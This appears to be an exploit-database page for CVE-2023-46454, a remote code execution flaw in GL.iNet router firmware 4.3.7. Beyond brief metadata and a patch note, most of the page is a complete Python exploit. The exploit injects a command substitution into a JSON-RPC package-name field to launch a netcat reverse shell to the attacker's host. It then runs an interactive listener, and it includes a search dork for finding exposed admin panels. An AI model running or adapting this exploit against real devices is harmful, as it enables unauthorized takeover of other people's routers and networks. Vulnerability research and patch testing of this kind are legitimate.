header-logo
Suggest Exploit
vendor:
GL.iNet
by:
Michele 'cyberaz0r' Di Bonaventura
8.1
CVSS
CRITICAL
Remote Code Execution
78
CWE
Product Name: GL.iNet
Affected Version From: 4.3.2007
Affected Version To: 4.3.2007
Patch Exists: YES
Related CWE: CVE-2023-46454
CPE: o:gl-inet:gl-inet_firmware:4.3.7
Metasploit:
Other Scripts:
Platforms Tested: GL.iNet AR300M
2023

GL.iNet <= 4.3.7 Remote Code Execution via OpenVPN Client

The GL.iNet firmware version 4.3.7 is vulnerable to remote code execution via the OpenVPN client. An attacker can exploit this vulnerability to execute arbitrary commands on the target system. This vulnerability has been assigned CVE-2023-46454.

Mitigation:

Update GL.iNet firmware to version 4.3.8 or later to prevent exploitation of this vulnerability.
Source

Exploit-DB raw data:

#!/usr/bin/env python3

# Exploit Title: GL.iNet <= 4.3.7 Remote Code Execution via OpenVPN Client
# Google Dork: intitle:"GL.iNet Admin Panel"
# Date: XX/11/2023
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://www.gli-net.com
# Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar
# Version: 4.3.7
# Tested on: GL.iNet AR300M
# CVE: CVE-2023-46454

import socket
import requests
import readline
from time import sleep
from random import randint
from sys import stdout, argv
from threading import Thread

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def trigger_revshell(url, auth_token, payload):
	sleep(0.25)
	data = {
		'jsonrpc': '2.0',
		'id': randint(1000, 9999),
		'method': 'call',
		'params': [
			auth_token,
			'plugins',
			'get_package_info',
			{'name': 'bas{}e-files'.format(payload)}
		]
	}
	requests.post(url, json=data, verify=False)

def get_command_response(s):
	res = ''
	while True:
		try:
			resp = s.recv(1).decode('utf-8')
			res += resp
		except UnicodeDecodeError:
			pass
		except socket.timeout:
			break
	return res

def revshell_listen(revshell_ip, revshell_port):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.settimeout(5)

	try:
		s.bind((revshell_ip, int(revshell_port)))
		s.listen(1)
	except Exception as e:
		print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__))
		exit(1)

	try:
		clsock, claddr = s.accept()
		clsock.settimeout(2)
		if clsock:
			print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1]))
			res = ''
			while True:
				command = input('$ ')
				clsock.sendall('{}\n'.format(command).encode('utf-8'))
				stdout.write(get_command_response(clsock))

	except socket.timeout:
		print('[-] No connection received in 5 seconds, probably server is not vulnerable...')
		s.close()

	except KeyboardInterrupt:
		print('\n[*] Closing connection')
		try:
			clsock.close()
		except socket.error:
			pass
		except NameError:
			pass
		s.close()

def main(base_url, auth_token, revshell_ip, revshell_port):
	print('[+] Started GL.iNet <= 4.3.7 RCE exploit')

	payload = '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {} {} >/tmp/f)'.format(revshell_ip, revshell_port)
	print('[+] Reverse shell payload: "{}"'.format(payload))

	print('[*] Triggering reverse shell connection')
	Thread(target=trigger_revshell, args=(base_url+'/rpc', auth_token, payload)).start()

	print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port))
	revshell_listen(revshell_ip, revshell_port)

	print('[+] Done')

if __name__ == '__main__':
	if len(argv) < 5:
		print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0]))
		exit(1)

	main(argv[1], argv[2], argv[3], argv[4])